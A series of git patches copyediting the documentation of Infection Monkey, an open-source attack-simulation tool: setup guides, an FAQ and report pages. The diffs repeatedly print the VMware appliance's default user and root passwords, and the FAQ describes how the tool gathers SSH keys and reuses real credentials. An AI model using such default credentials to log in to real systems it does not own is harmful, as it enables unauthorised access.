Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file by using the export button and then import it to the new server. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 9a1ce32900737bdfc33ac29c84e4d4b8184dff91 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 14:09:46 -0500 Subject: [PATCH 179/466] Update docker.md --- docs/content/setup/docker.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index ba613d57b..15e62ced2 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -23,8 +23,8 @@ sudo docker run --name monkey-island --network=host -d guardicore/monkey-island: ## Upgrading -There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file. +Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, download it, stop the current container and run the installation commands again with the new file. -If you'd like to keep your existing configuration, you can export it to a file by using the export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 4c3dd3e84ff3494974686f3d3bfe84c057152dd0 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 13:09:47 -0500 Subject: [PATCH 180/466] Update vmware.md Copyediting - note: the original had upgrade instructions for docker, so please advise on correct steps to update the Monkey on VMware, thanks! --- docs/content/setup/vmware.md | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 5ee958188..d39b9b06f 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -9,28 +9,25 @@ tags: ["setup", "vmware"] ## Deployment -1. Deploy the Infection Monkey OVA by choosing Deploy OVF Template and follow the wizard instructions. *Note: make sure port 5000 and 5001 on the machine are accessible for inbound TCP traffic.* +1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and following the wizard instructions. *Note: make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic.* 2. Turn on the Infection Monkey VM. 3. Log in to the machine with the following credentials: 1. Username: **monkeyuser** 2. Password: **Noon.Earth.Always** -4. It's recommended to change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. +4. It's recommended you change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. ## OVA network modes -The OVA can be used in one of two modes: +You can use the OVA in one of two modes: -1. In a network with DHCP configured. In this case, the Monkey Island will automatically query and receive an IP address from the network. -1. With a static IP address. - - In this case, you should login to the VM console with -username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file. You can do that by writing the following command in the prompt: +1. In a network with the DHCP configuredβ€” In this case, the Monkey Island will automatically query and receive an IP address from the network. +2. With a static IP address β€” For this case, you should login to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: ```sh sudo nano /etc/network/interfaces ``` - And change the lines: + Change the lines: ```sh auto ens160 @@ -47,7 +44,7 @@ username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the inte gateway YYY.YYY.YYY.YYY ``` - Save the changes then run the command + Save the changes then run the command: ```sh sudo ifdown ens160 && ifup ens160 @@ -55,8 +52,6 @@ username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the inte ## Upgrading -There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file. - -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +There's no "upgrade-in-place" option for VMware. To get the new version, download the updated file. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From b60ffe51fe0e15d47d881d3cd92a243f873b04d3 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:36:51 -0500 Subject: [PATCH 181/466] Update vmware.md --- docs/content/setup/vmware.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index d39b9b06f..11c0ab092 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -10,18 +10,18 @@ tags: ["setup", "vmware"] ## Deployment 1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and following the wizard instructions. *Note: make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic.* -2. Turn on the Infection Monkey VM. -3. Log in to the machine with the following credentials: +1. Turn on the Infection Monkey VM. +1. Log in to the machine with the following credentials: 1. Username: **monkeyuser** - 2. Password: **Noon.Earth.Always** -4. It's recommended you change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. + 1. Password: **Noon.Earth.Always** +1. It's recommended you change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. ## OVA network modes You can use the OVA in one of two modes: -1. In a network with the DHCP configuredβ€” In this case, the Monkey Island will automatically query and receive an IP address from the network. -2. With a static IP address β€” For this case, you should login to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: +1. In a network with the DHCP configured β€” In this case, the Monkey Island will automatically query and receive an IP address from the network. +1. With a static IP address β€” In this case, you should log in to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: ```sh sudo nano /etc/network/interfaces @@ -52,6 +52,6 @@ You can use the OVA in one of two modes: ## Upgrading -There's no "upgrade-in-place" option for VMware. To get the new version, download the updated file. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, download the updated OVA file. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 69f4df49bd706ddf4cd9667be4a975a0adb97e76 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 12:04:11 -0500 Subject: [PATCH 182/466] docs: trivial rewording of vmware.md --- docs/content/setup/vmware.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 11c0ab092..703d2d842 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -21,7 +21,7 @@ tags: ["setup", "vmware"] You can use the OVA in one of two modes: 1. In a network with the DHCP configured β€” In this case, the Monkey Island will automatically query and receive an IP address from the network. -1. With a static IP address β€” In this case, you should log in to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: +1. With a static IP address β€” In this case, you should log in to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by entering the following command in the prompt: ```sh sudo nano /etc/network/interfaces From bc29973c80a5b899883c6110b31ec37e901a026f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 12:51:00 -0500 Subject: [PATCH 183/466] docs: remove duplicate header from debian.md --- docs/content/setup/debian.md | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index d94785dc8..d3a861f43 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -8,16 +8,6 @@ disableToc: false tags: ["setup", "debian", "linux"] --- ---- -title: "Debian" -date: 2020-05-26T20:57:19+03:00 -draft: false -pre: ' ' -weight: 1 -disableToc: false -tags: ["setup", "debian", "linux"] ---- - ## Deployment To extract the `tar.gz` file, run `tar -xvzf monkey-island-debian.tar.gz`. From ee9f177201cd0970db3f1447373f2e7678ec2018 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 12:54:35 -0500 Subject: [PATCH 184/466] docs: make upgrade instructions consistent --- docs/content/setup/aws.md | 6 +++++- docs/content/setup/azure.md | 6 +++++- docs/content/setup/debian.md | 8 ++++++-- docs/content/setup/docker.md | 7 +++++-- docs/content/setup/vmware.md | 6 +++++- docs/content/setup/windows.md | 6 ++++-- 6 files changed, 30 insertions(+), 9 deletions(-) diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index eaa364cc8..9e17780ed 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -35,6 +35,10 @@ The Infection Monkey has built-in integrations with AWS services for better exec ## Upgrading -Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get an updated version, you can deploy a new machine from the marketplace. + +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/azure.md b/docs/content/setup/azure.md index d31a62047..75feaabf3 100644 --- a/docs/content/setup/azure.md +++ b/docs/content/setup/azure.md @@ -29,6 +29,10 @@ At this point, Azure will instance and deploy your new machine. When ready, you ## Upgrading -Currently, there's no "upgrade-in-place" option when a new version is released. To get the updated version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get the updated version, you can deploy a new machine from the marketplace. + +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index d3a861f43..d841a179f 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -57,9 +57,13 @@ To check the status of the Monkey Island after the installation, run the followi ## Upgrading -Currently, there's no "upgrade-in-place" option when a new version is released. To get the updated version, download the new `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get the updated version, download the new `.deb` file and install it. You +should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After +which, the installation should complete successfully. -If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 15e62ced2..5b89d42b6 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -23,8 +23,11 @@ sudo docker run --name monkey-island --network=host -d guardicore/monkey-island: ## Upgrading -Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, download it, stop the current container and run the installation commands again with the new file. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get an updated version, download it, stop the current container and run the +installation commands again with the new file. -If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 703d2d842..5bb2ffb51 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -52,6 +52,10 @@ You can use the OVA in one of two modes: ## Upgrading -Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, download the updated OVA file. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get an updated version, download the updated OVA file. + +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index 514b999f8..9fc838127 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -28,8 +28,10 @@ The Monkey Island supports Chrome (and Chrome-based) browsers. If your Windows s ## Upgrading -To upgrade the Infection Monkey on Windows, download the new installer and run it. The new Monkey version will be installed over the old version. +To upgrade the Infection Monkey on Windows, download the new installer and run +it. The new Monkey version will be installed over the old version. -If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From cbe9c6776d0a41a10bf96957a59a465b44a88c05 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 12:58:22 -0500 Subject: [PATCH 185/466] docs: small tweaks to debian setup guide --- docs/content/setup/debian.md | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index d841a179f..ded13c087 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -12,7 +12,7 @@ tags: ["setup", "debian", "linux"] To extract the `tar.gz` file, run `tar -xvzf monkey-island-debian.tar.gz`. -To deploy the package, once you’ve extracted it, run the following commands: +Once you've extracted the package, deploy it using run the following commands: ```sh sudo apt update @@ -28,7 +28,9 @@ Errors were encountered while processing: gc-monkey-island ``` -It just means that not all dependencies were pre-installed on your system. That’s no problem! Just run the following command, which will install all dependencies, and then install the Monkey Island: +It just means that not all dependencies were pre-installed on your system. +That’s no problem! Just run the following command, which will install all +dependencies, and then install the Monkey Island: ```sh sudo apt install -f @@ -38,7 +40,10 @@ sudo apt install -f ### Trying to install on Ubuntu <16.04 -If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you need to install the dependencies yourself, since Python 3.7 is only installable from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow these steps: +If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you +need to install the dependencies yourself, since Python 3.7 is only installable +from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow +these steps: ```sh sudo apt update From 5e3a8994d25b9e1b8e3f5d41261233beecf13ccb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 27 Jan 2021 13:13:25 -0500 Subject: [PATCH 186/466] docs: replace single right quote (U+2019) with apostrophe (ascii 0x27) --- docs/content/FAQ/_index.md | 24 +++++++++---------- docs/content/reports/mitre.md | 4 ++-- docs/content/reports/zero-trust.md | 4 ++-- docs/content/setup/aws.md | 2 +- docs/content/setup/debian.md | 4 ++-- docs/content/setup/docker.md | 2 +- docs/content/setup/windows.md | 4 ++-- docs/content/usage/use-cases/attack.md | 2 +- .../usage/use-cases/credential-leak.md | 6 ++--- .../usage/use-cases/network-segmentation.md | 2 +- docs/content/usage/use-cases/other.md | 2 +- 11 files changed, 28 insertions(+), 28 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 3486a4fc4..89bbf8aba 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -5,7 +5,7 @@ draft: false pre: " " --- -Here are some of the most common questions we receive about the Infection Monkey. If the answer you’re looking for isn’t here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). +Here are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). - [Where can I get the latest Monkey version? πŸ“°](#where-can-i-get-the-latest-monkey-version) - [How long does a single Monkey run for? Is there a time limit?](#how-long-does-a-single-monkey-run-for-is-there-a-time-limit) @@ -17,11 +17,11 @@ Here are some of the most common questions we receive about the Infection Monkey - [Monkey agent](#monkey-agent) - [Running the Monkey in a production environment](#running-the-monkey-in-a-production-environment) - [How much of a footprint does the Monkey leave?](#how-much-of-a-footprint-does-the-monkey-leave) - - [What’s the Monkey’s impact on system resources usage?](#whats-the-monkeys-impact-on-system-resources-usage) - - [Is it safe to use real passwords and usernames in the Monkey’s configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-monkeys-configuration) + - [What's the Monkey's impact on system resources usage?](#whats-the-monkeys-impact-on-system-resources-usage) + - [Is it safe to use real passwords and usernames in the Monkey's configuration?](#is-it-safe-to-use-real-passwords-and-usernames-in-the-monkeys-configuration) - [How do you store sensitive information on Monkey Island?](#how-do-you-store-sensitive-information-on-monkey-island) - [How stable are the exploitations used by the Monkey? Will the Monkey crash my systems with its exploits?](#how-stable-are-the-exploitations-used-by-the-monkey-will-the-monkey-crash-my-systems-with-its-exploits) -- [After I’ve set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey) +- [After I've set up Monkey Island, how can I execute the Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-monkey) - [How can I make the monkey propagate β€œdeeper” into the network?](#how-can-i-make-the-monkey-propagate-deeper-into-the-network) - [The report returns a blank screen](#the-report-returns-a-blank-screen) - [How can I get involved with the project? πŸ‘©β€πŸ’»πŸ‘¨β€πŸ’»](#how-can-i-get-involved-with-the-project) @@ -77,7 +77,7 @@ The Monkey performs queries out to the Internet on two separate occasions: ### Monkey Island -The Monkey Island’s log file can be downloaded directly from the UI. Click the β€œlog” section and choose β€œDownload Monkey Island internal logfile”, like so: +The Monkey Island's log file can be downloaded directly from the UI. Click the β€œlog” section and choose β€œDownload Monkey Island internal logfile”, like so: ![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file") @@ -98,7 +98,7 @@ The Monkey log file can be found in the following paths on machines where it was - Path on Linux: `/tmp/user-1563` - Path on Windows: `%temp%\\~df1563.tmp` -The logs contain information about the internals of the Monkey’s execution. The log will contain entries like these ones for example: +The logs contain information about the internals of the Monkey's execution. The log will contain entries like these ones for example: ```log 2019-07-22 19:16:44,228 [77598:140654230214464:INFO] main.main.116: >>>>>>>>>> Initializing monkey (InfectionMonkey): PID 77598 <<<<<<<<<< @@ -124,13 +124,13 @@ The Monkey leaves hardly any trace on the target system. It will leave: - Path on Linux: `/tmp/user-1563` - Path on Windows: `%temp%\\~df1563.tmp` -### What’s the Monkey’s impact on system resources usage? +### What's the Monkey's impact on system resources usage? The Infection Monkey uses less than single-digit percent of CPU time and very low RAM usage. For example, on a single-core Windows Server machine, the Monkey consistently uses 0.06% CPU, less than 80MB of RAM and a small amount of I/O periodically. If you do experience any performance issues please let us know on [our Slack channel](https://infectionmonkey.slack.com/) or via [opening an issue on GitHub](https://github.com/guardicore/monkey). -### Is it safe to use real passwords and usernames in the Monkey’s configuration? +### Is it safe to use real passwords and usernames in the Monkey's configuration? Absolutely! User credentials are stored encrypted in the Monkey Island server. This information is then accessible only to users that have access to the Island. @@ -138,7 +138,7 @@ We advise to limit access to the Monkey Island server by following our [password ### How do you store sensitive information on Monkey Island? -Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island’s database in an encrypted fashion. This data is transmitted to the Infection Monkeys in an encrypted fashion (HTTPS) and is not stored locally on the victim machines. +Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island's database in an encrypted fashion. This data is transmitted to the Infection Monkeys in an encrypted fashion (HTTPS) and is not stored locally on the victim machines. When you reset the Monkey Island configuration, the Monkey Island wipes the information. @@ -146,9 +146,9 @@ When you reset the Monkey Island configuration, the Monkey Island wipes the info The Monkey does not use any exploits or attacks that may impact the victim system. -This means we avoid using some very strong (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact. But because it may crash a production system, we aren’t using it. +This means we avoid using some very strong (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact. But because it may crash a production system, we aren't using it. -## After I’ve set up Monkey Island, how can I execute the Monkey? +## After I've set up Monkey Island, how can I execute the Monkey? See our detailed [getting started](../content/usage/getting-started) guide. @@ -175,6 +175,6 @@ The Monkey is an open-source project, and we weclome contributions and contribut ### How did you come up with the Infection Monkey? -Oddly enough, the idea of proactively breaking the network to test its survival wasn’t born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool that was designed to randomly disable the company’s production servers to verify they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs. +Oddly enough, the idea of proactively breaking the network to test its survival wasn't born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool that was designed to randomly disable the company's production servers to verify they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs. Inspired by this concept, Guardicore Labs developed its own attack simulator - Infection Monkey - to run non-intrusively within existing production environments. The idea was to test the resiliency of modern data centers against attack and give security teams the insights they need to make informed decisions and enforce tighter security policies. Since its launch in 2017 (?) the Infection Monkey has been used by hundreds of information technology teams from across the world to find weaknesses in their on-premises and cloud-based data centers. diff --git a/docs/content/reports/mitre.md b/docs/content/reports/mitre.md index 760893534..96d0b20b2 100644 --- a/docs/content/reports/mitre.md +++ b/docs/content/reports/mitre.md @@ -24,11 +24,11 @@ The MITRE ATT&CK report is centred around the ATT&CK matrix: The Monkey rates your network on the attack techniques it attempted. For each technique, you can get - {{< label danger Red >}}: The Monkey **successfully used** the technique in the simulation. That means your network is vulnerable to this technique being employed. -- {{< label warning Yellow >}}: The Monkey **tried to use** the technique, but didn’t manage to. That means your network isn’t vulnerable to the way Monkey employs this technique. +- {{< label warning Yellow >}}: The Monkey **tried to use** the technique, but didn't manage to. That means your network isn't vulnerable to the way Monkey employs this technique. - {{< label unused "Dark Gray" >}}: The Monkey **didn't try** the technique. Perhaps it wasn't relevant to this network. - {{< label disabled "Light Gray" >}}: The Monkey **didn't try** the technique since it wasn't configured. -Then, you can see exactly HOW the technique was used in this attack, and also what you should do to mitigate it, by clicking on the technique and seeing the details. For example, let’s look at the [**Brute Force**](https://attack.mitre.org/techniques/T1110/) technique that’s a part of employing the [**Credentials Access**](https://attack.mitre.org/tactics/TA0006/) tactic: +Then, you can see exactly HOW the technique was used in this attack, and also what you should do to mitigate it, by clicking on the technique and seeing the details. For example, let's look at the [**Brute Force**](https://attack.mitre.org/techniques/T1110/) technique that's a part of employing the [**Credentials Access**](https://attack.mitre.org/tactics/TA0006/) tactic: ![MITRE Report Credentials Access technique](/images/usage/reports/mitre-report-cred-access.png "MITRE Report Credentials Access technique") diff --git a/docs/content/reports/zero-trust.md b/docs/content/reports/zero-trust.md index 54c9aff31..1bbd2dbd4 100644 --- a/docs/content/reports/zero-trust.md +++ b/docs/content/reports/zero-trust.md @@ -13,10 +13,10 @@ The Guardicore Infection Monkey runs different tests to evaluate your network ad ## Summary -This diagram provides a quick glance at how your organization scores on each component of the Forrester’s Zero Trust model with **Failed**, **Verify**, **Passed** and **Unexecuted** verdicts. +This diagram provides a quick glance at how your organization scores on each component of the Forrester's Zero Trust model with **Failed**, **Verify**, **Passed** and **Unexecuted** verdicts. - {{< label danger Failed >}} At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement. -- {{< label warning Verify >}} At least one of the tests’ results related to this component requires further manual verification. +- {{< label warning Verify >}} At least one of the tests' results related to this component requires further manual verification. - {{< label success Passed >}} All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected. - {{< label unused Unexecuted >}} This status means no tests were executed for this pillar. diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index 9e17780ed..eb08b4968 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -9,7 +9,7 @@ tags: ["setup", "aws"] ## Deployment -On the [Infection Monkey’s AWS Marketplace page](https://aws.amazon.com/marketplace/pp/GuardiCore-Infection-Monkey/B07B3J7K6D), click **Continue to Subscribe**. +On the [Infection Monkey's AWS Marketplace page](https://aws.amazon.com/marketplace/pp/GuardiCore-Infection-Monkey/B07B3J7K6D), click **Continue to Subscribe**. 1. Choose the desired region. 1. Choose an EC2 instance type with at least 1GB of RAM for optimal performance or stick with the default recommendation. diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index ded13c087..c2e875b68 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -29,7 +29,7 @@ Errors were encountered while processing: ``` It just means that not all dependencies were pre-installed on your system. -That’s no problem! Just run the following command, which will install all +That's no problem! Just run the following command, which will install all dependencies, and then install the Monkey Island: ```sh @@ -40,7 +40,7 @@ sudo apt install -f ### Trying to install on Ubuntu <16.04 -If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you +If you're trying to install the Monkey Island on Ubuntu 16.04 or older, you need to install the dependencies yourself, since Python 3.7 is only installable from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow these steps: diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 5b89d42b6..66d38efc5 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -11,7 +11,7 @@ tags: ["setup", "docker", "linux", "windows"] To extract the `tar.gz` file, run `tar -xvzf monkey-island-docker.tar.gz`. -Once you’ve extracted the container from the tar.gz file, run the following commands: +Once you've extracted the container from the tar.gz file, run the following commands: ```sh sudo docker load -i dk.monkeyisland.1.9.0.tar diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index 9fc838127..9b22b87dc 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -4,7 +4,7 @@ date: 2020-05-26T20:57:10+03:00 draft: false pre: ' ' weight: 2 -tags: ["setup", "windows"] +tags: ["setup", "windows"] --- ## Deployment @@ -20,7 +20,7 @@ After running the installer, the following prompt should appear on the screen: ### Missing Windows update -The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows). If you’re having trouble running the installer, please make sure to install the update via Windows Update or manually from the link above. +The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows). If you're having trouble running the installer, please make sure to install the update via Windows Update or manually from the link above. ### Supported browsers diff --git a/docs/content/usage/use-cases/attack.md b/docs/content/usage/use-cases/attack.md index ee2e002c7..d3e09fadc 100644 --- a/docs/content/usage/use-cases/attack.md +++ b/docs/content/usage/use-cases/attack.md @@ -9,7 +9,7 @@ weight: 2 ## Overview Infection Monkey can simulate various [ATT&CK](https://attack.mitre.org/matrices/enterprise/) techniques on the network. -Use it to assess your security solutions’ detection and prevention capabilities. Infection Monkey will help you find +Use it to assess your security solutions' detection and prevention capabilities. Infection Monkey will help you find which ATT&CK techniques go unnoticed and will provide recommendations about preventing them. diff --git a/docs/content/usage/use-cases/credential-leak.md b/docs/content/usage/use-cases/credential-leak.md index 923335e34..0533db0e8 100644 --- a/docs/content/usage/use-cases/credential-leak.md +++ b/docs/content/usage/use-cases/credential-leak.md @@ -16,9 +16,9 @@ where these credentials can be reused. ## Configuration -- **Exploits -> Credentials** After setting up the Island add the users’ **real** credentials -(usernames and passwords) to the Monkey’s configuration (Don’t worry, this sensitive data is not accessible and is not - distributed or used in any way other than being sent to the monkeys, and can be easily eliminated by resetting the Monkey Island’s configuration). +- **Exploits -> Credentials** After setting up the Island add the users' **real** credentials +(usernames and passwords) to the Monkey's configuration (Don't worry, this sensitive data is not accessible and is not + distributed or used in any way other than being sent to the monkeys, and can be easily eliminated by resetting the Monkey Island's configuration). - **Internal -> Exploits -> SSH keypair list** Monkey automatically gathers SSH keys on the current system. For this to work, Monkey Island or initial Monkey needs to have access to SSH key files(grant permission or run Monkey as root). To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Monkey diff --git a/docs/content/usage/use-cases/network-segmentation.md b/docs/content/usage/use-cases/network-segmentation.md index 543b6e645..31bd6a2c3 100644 --- a/docs/content/usage/use-cases/network-segmentation.md +++ b/docs/content/usage/use-cases/network-segmentation.md @@ -13,7 +13,7 @@ isolate workloads from one another and secure them individually, typically using the effectiveness of your segmentation is to ensure that your network segments are properly separated, e,g, your Development is separated from your Production, your applications are separated from one another etc. Use the Infection Monkey to verify that your network segmentation is configured properly. This way you make sure that -even if a certain attacker has breached your defenses, it can’t move laterally between segments. +even if a certain attacker has breached your defenses, it can't move laterally between segments. [Segmentation is key](https://www.guardicore.com/use-cases/micro-segmentation/) to protecting your network, reducing the attack surface and minimizing the damage of a breach. The Monkey can help you test your segmentation settings with diff --git a/docs/content/usage/use-cases/other.md b/docs/content/usage/use-cases/other.md index 90c44a943..2a17212b8 100644 --- a/docs/content/usage/use-cases/other.md +++ b/docs/content/usage/use-cases/other.md @@ -43,7 +43,7 @@ 